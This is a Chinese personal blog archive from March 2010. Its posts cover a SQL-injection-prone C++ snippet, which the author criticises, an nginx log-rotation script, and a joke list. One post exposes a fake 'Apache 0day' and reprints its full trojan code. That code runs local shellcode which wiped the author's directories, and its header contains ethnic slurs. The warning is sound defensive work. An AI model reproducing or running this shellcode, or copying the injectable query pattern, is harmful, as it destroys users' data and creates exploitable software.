Archive for 三月, 2010

一段典型代码

星期四, 三月 18th, 2010
stringstream sql;
sql.str(“”);
if (iop == 2)   //清除战斗角色信息
{
sql.str(“”);
sql<<“update xl_pk_2.t_fight_att set FQueueList=” where FUserid=”
<<suserid<<“and FRoleType=”<<iroletype;
m_clsDBConn.Query((char *)sql.str().c_str());

今天看代码时看到一段典型代码,如下

string suserid = Params[“uid”];

stringstream sql;

sql<<“select * from  xxx.t_xxx  where userid=” <<suserid   <<“;”;

m_clsDBConn.Query((char *)sql.str().c_str());

【注】这是个cgi程序,其中params是个map,里面放着客户端post上来的所有参数。

m_clsDBConn是一个mysql连接。

看来SDL的道路任重而道远啊。

吃素一个月

星期二, 三月 16th, 2010

听文进说吃素有益身体健康,决定咱们一起试试这个效果,决定开始吃素一个月,咱俩打赌,谁先破解,罚款五百。

估计包子很愿意看到这个博客。

另外愿所有家人朋友都平平安安,平安是福啊。

nginx 切割日志

星期三, 三月 10th, 2010

我的一台机器上一天的log到了5G,几天下来有一百G,太浪费空间。

今天实现了两套方案切割nginx的日志

1.用crontab实现,每日0点1分执行一个脚本,脚本如下

#!/bin/sh

mv /usr/local/nginx/logs/back.softcenter.log /usr/local/nginx/logs/back.softcenter_`date -d yesterday +%Y%m%
d`.log
kill -USR1 `cat /usr/local/nginx/logs/nginx.pid`
find /usr/local/nginx/logs/ -name “*.log” -type f -atime +10 -exec rm -rf {} \;
~

mv /usr/local/nginx/logs/back.softcenter.log /usr/local/nginx/logs/back.softcenter_`date -d yesterday +%Y%m%d`.log

kill -USR1 `cat /usr/local/nginx/logs/nginx.pid`

find /usr/local/nginx/logs/ -name “*.log” -type f -atime +10 -exec rm -rf {} \;

2.后来我们的业务人员仍然不能忍受每天要分析那么大的log,提出过滤nginx的log,只记录html的,过滤掉jpg之类的,用了个叫cronolog的东西,cronolog从http://cronolog.org/很容易得到包,./configure; make; make install即可。

将nginx的启动改成一个脚本,脚本如下

#!/bin/sh

/usr/bin/mkfifo  /usr/local/nginx/logs/back.softcenter.log

grep -v -e png -e jpg -e gif -e xml -e css -e js  /usr/local/nginx/logs/shallwe.net.log |/usr/local/sbin/cronolog /usr/local/nginx/logs/shallwe.net.log.%Y%m%d &

/usr/local/nginx/sbin/nginx

据说是2010年最拽的话~~(zz)

星期一, 三月 8th, 2010
1、没人牵手,我就揣兜。 
2、 我从不以强凌弱~~~我欺负他之前真不知道他比我弱… 
3、都想抓住青春的尾巴,可惜青春是只壁虎。 
4、你走你的过街天桥,我过我的地下通道。 
5、我的兴趣爱好可分为静态和动态两种,静态就是睡觉,动态就是翻身… 
6、站在人生的O字路口。 
7、所谓美女,大都是化妆品的奴隶。 
8、高中,我们忙得跟孙子似的,可还可以像NB一样开心;大学,我们闲得像NB一样,却找
不回当孙子时的快乐…… 
9、人生只有三天,活在昨天的人迷惑;活在明天的人等待;活在今天的人最踏实。 
10、一分钱一分货,稀饭吃了不经饿。 
11、不能因为咱俩有过节,你就把我当节过。 
12、站在人生的米字路口,我更加彷徨。 
13、语不惊人死不羞。 
14、“坏男人”一定要有好容貌,否则,他不配做坏男人,不配做女人心中的坏男人。 
15、哪里跌倒,哪里爬起……老是在那里跌倒,我怀疑那里有个坑! 
16、在海边不要讲笑话,会引起“海笑”的。 
17、你就没有点好话?”、“你太帅了,这话行吗?”、“行,太行了!”、“可我要昧
着良心说,真痛苦。” 
18、天气冷得像个笑话,日子过得像句废话。 
19、别用你的脾气来挑战我的个性,那会让你们死得很有节奏感! 
20、坏人需要实力,败类更需要品位。 
21、本是打算搜狗,结果看到猫扑。 
22、唉~这人要一没正形,连头痛都是偏的。 
23、混社会是个体力活儿,讲究四门功课:闪转腾挪。 
24、我这人不太懂音乐,所以时而不靠谱,时而不着调。 
25、既宅又腐,前途未卜。 
26、怎么会突然想哭?难道我也有些逆流成河的小忧伤? 
27、我一直在希望的田野上奔跑,虽然也偶尔被失望绊倒。 
28、从天堂到地狱,我路过人间! 
29、初恋无限好,只是挂得早。 
30、将错就错,或者将计就计了,反正将就了。 
31、工作QQ,拒绝闲聊,若要强聊,收费五毛,标点符号,半价收费,月卡七折,夜间加
倍。 
32、舌头比牙齿更长寿,软件比硬件更长久。 
33、婚姻的难处在于我们是和对方的优点谈恋爱,却和她的缺点生活在一起。 
34、旅行就是从自己呆腻的地方到别人呆腻的地方去。 
35、站在痛苦之外规劝受苦的人,是件很容易的事。 
36、你说……你喜欢我?其实……我一开始……其实我也……唉~跟你直说了吧,其实我
也挺喜欢我自己的。\(-)/ 
37、岁月就像一条河,左岸是无法忘却的回忆,右岸是值得把握的青春年华,中间飞快流
淌的是年轻隐隐的伤感。 
38、问世间谁最坦荡,直叫我当仁不让。 
39、如果你容不下我,说明不是你的心胸太狭小,就是我的人格太伟大。 
40、天生落魄,五行缺钱。 
41、天被熬亮了。 
42、哗众可以取宠,也可以失宠。 
43、人生的两大悲剧:一是万念俱灰,一是踌躇满志。 
44、今夜,让我们用冷战取暖! 
45、低调致高远! 
46、不迷信,只迷人。 
47、一个人最大的悲哀,就是不愿意做他自己。 
48、伤感的人爱喝小酒,寂寞的人爱唱老歌。 
49、鞭策自己,鞭打别人。 
50、老衲法号帅哥。 
51、弓虽强,无箭枉然。 
52、行到水穷处,口渴;坐看云起时,头晕。 
53、量小非君子,无毒不木马。 
54、唉!该说的说,不该说的小声说。 
55、子曾经曰过:不要把我对你的容忍当成你不要脸的资本! 
56、我都不好意思抓你了,你怎么还好意思偷呢? 
57、你瞧你吧!看背影急煞千军万马,转过头吓退百万雄狮。 
58、反正我这命老和他们算的不一样,不知道是他们没算对,还是我活错了。 
59、兔子不吃窝边草,何况质量又不好,何必非在身边找。 
60、人是水货,心是行货。 
61、穿的再好,一砖撂倒。 
62、我要努力实现梦想,以弥补小时候吹过的牛。 
63、真正的勇士敢于正视漂亮的美眉,敢于直面惨淡的单身。 
64、作为失败的典型,你实在是太成功了。 
65、就你这个样子,这个年龄,已经跌破发行价了。 
66、喜欢的摇,不喜欢的滚。 
67、绝口不提不是因为忘记,而是因为铭记。 
68、你嘴角三十度的微笑,百度搜索不到。 
69、我要让全世界知道我很低调。 
70、世界上最大的教堂也装不下你的罪恶。 
71、不是路不平,而是你不行。 
72、读万卷书,行万里路,赚万贯钱,做万人迷! 
73、成人是过期的儿童,老人是失效的成人。 
74、一懒无娱 
75、一失足成千古风流人物。 
76、恶心妈妈抱着恶心哭得很伤心,为什么呢?因为恶心死了…… 
77、黑夜给了我黑色的鼠标,我却用它游戏到天明 
78、每当冲锋号响起,我就赶紧躲进壕沟里,因为:我是卧底! 
79、要不是打不过你,我早就和你翻脸了。 
80、我这心碎得,捧出来跟饺子馅似的。 
81、对牛弹琴不算什么能耐,对牛谈情才叫真本事。 
82、路漫漫其修远兮,不如我们去打的。 
83、不想笑,打麻药。 
84、“敬人者人恒敬之”,在酒席间,常见此项美德。 
85、当你做对的时候,没有人会记得;当你做错的时候,连呼吸都是错。 
86、我的未来不是梦,我的未来是做噩梦。 
87、大部分女人喜欢一个男人都是一种原因,就是她搞不懂他。 
88、股市猛于虎,房市猛于股。 
89、远看是美景,近看想报警。 
90、最伤人的话,总出自最温柔的嘴。 
91、我的地盘,你是地主。 
92、人是铁,范儿是钢,一天不装憋得慌! 
93、面子是别人给的,脸是自己丢的。 
94、亲爱的,我的睫毛在溺水…… 
95、想太多,必然伤太多。 
96、悲伤左拐,幸福抵达。 
97、做梦,一切皆有可能。 
98、上帝肯定会原谅我的,因为那是他的职业。 
99、脸先着地,无力回天。 
100、不转载很遗憾

针对黑客的攻击

星期五, 三月 5th, 2010

前两天群里有人爆料,说好像有针对apache大范围的漏洞,并有攻击代码,看到描述后乖乖不得了,立刻百度找到这段代码(按理说0day是百度不到的),立刻下回来验证一下。
第一次在一个测试机上,用root权限验证那段代码,他的输出号称成功得到shell了,但是用telnet没看到结果。
又换了另外一台机器,新建了一个test用户来验证这段代码,由于源代码和可执行程序都在/home/test下,执行完发现,发现源代码和程序都不在了,后检查代码发现程序执行了一段shellcode,第一反应,应该是删除了~目录,立刻查看第一个测试机,返现/root目录果然已经被清空了,幸亏它的shellcode不是rm -rf /*,幸亏我用的是自己的虚拟机,幸亏它没有种植一个后门到机器上,作者的目录真的just for fun。

这种行为,公布所谓的诱人的0day到网上,用来攻击号称对安全有点了解但又有点不明真相的人,当不明真相的“黑客们”自以为得到好的0day的时候,一个陷阱就为他铺就了。现在许多的安全站点也不为自己的网站内容负责,任何人可以随便发放一些所谓的不知道是否真假不知道是否可以利用不知道是否用来迷惑人的“0day”到上面。

大伙下次收到0day时都小心点!

附上那个所谓apache 0day利用代码,大家千万别执行它:

/*

===========================================================
!THIS 0DAY EXPLOIT IS PRIVATE PLEASE DO NOT DISTRIBUTE!
===========================================================

Apache 2.2.0 – 2.2.11 Remote exploit

Exploiting an off-by one bug in apr_uri_parse_hostinfo()
which leads to allocation of arbitrary ammount of memory,
put the shellcode then reliably jump in upon invocation
of the APR callback.

Compile: gcc fuckapache.c -o fuckapache

Usage: ./fuckapache

E.g:
===========================================================
[test@localhost tmp]$ ./fuck localhost 80
Connected, sending out the evil request…
Waiting some seconds to see if we got shell…
Now type nc localhost 12345 to see if you’ve got shell there
[test@localhost tmp]$ nc localhost 12345
id
uid=48(apache) gid=48(apache) groups=48(apache)
^D

==========================================================

Fuck all script kiddies around the world. No more free bugs, get lost.

Fuck all Indonesian, Malaysian, Pakistani, Saudi, Marrocan, Nigerian,
Turkish and other third-world *hack3rz* whose only contribution to the
world is writing dummy sqli scripts in python flooding the net
with BS like “kekekekeke” “ajjajaja” “i kill you”.
Feel free to suck my balls, all of you.

Have phun 🙂

*/

#include
#include
#include
#include
#include
#include
#include
#include

void usage(char *argv[])
{
printf(“Usage: %s
\n\n”,argv[0]);
exit(1);
}

int main(int argc,char *argv[])
{
// we_are_evil_we_are_evil_bindshell_31337_shellcode_in_91_bytes:>
char *shellcode=
“\xb8\xff\x2f\x73\x68\xc1\xe8\x08\x50”
“\xb8\x2f\x62\x69\x6e\x50\x89\xe3\x31\xc0\x50”
“\x66\xb8\x71\x71\x66\x35\x51\x51\x66\x50”
“\xb8\x23\x37\x71\x2f\x35\x51\x51\x51\x51\x50”
“\xb8\x23\x3c\x71\x7c\x35\x51\x51\x51\x51\x50\x89\xe1\x31\xc0\x50”
“\x66\xb8\x2d\x63\x66\x50\x89\xe2\x31\xc0\xb0\x64\x29\xc4\x31\xc0\x50\x51\x52\x53”
“\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xb4\x01\x31\xdb\xcd\x80”;
int (*sc)()=(int(*)())shellcode;
char host[100];
int sd;
struct sockaddr_in sin;
struct sockaddr_in pin;
struct hostent *hp;
// assuming PAGE_SIZE==4096 which is the most common case.
char *evilreq=malloc(4096);
pid_t pid;

if (argc!=3) usage(argv);
strcpy(host,argv[1]);
if ((hp = gethostbyname(host)) == 0) {
perror(“gethostbyname”);
exit(2);
}
memset(&pin, 0, sizeof(pin));
pin.sin_family = AF_INET;
pin.sin_addr.s_addr = ((struct in_addr *)(hp->h_addr))->s_addr;
pin.sin_port = htons(atoi(argv[2]));

if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror(“socket”);
exit(1);
}

if (connect(sd,(struct sockaddr *) &pin, sizeof(pin)) == -1) {
perror(“connect”);
exit(3);
}

printf(“Connected, sending out the evil request…\n”);

// prepare teh evil request
sprintf(evilreq,”GET / HTTP/1.0\nAccept-Encoding: x-compress; x-zip\nCache-Control: max-age=-12312312%%s%91s\n\n”,shellcode);

if (send(sd, evilreq, strlen(evilreq), 0) == -1) {
perror(“send”);
exit(1);
}

printf(“Waiting some seconds to see if we got shell…\n”);
pid=fork();
if (pid==0) {close(2);sc();exit(0);}
else
{
sleep(2);
if (sd)
{
printf(“Now type nc %s 12345 to see if you’ve got shell there\n”,argv[1]);
close(sd);
}
}

}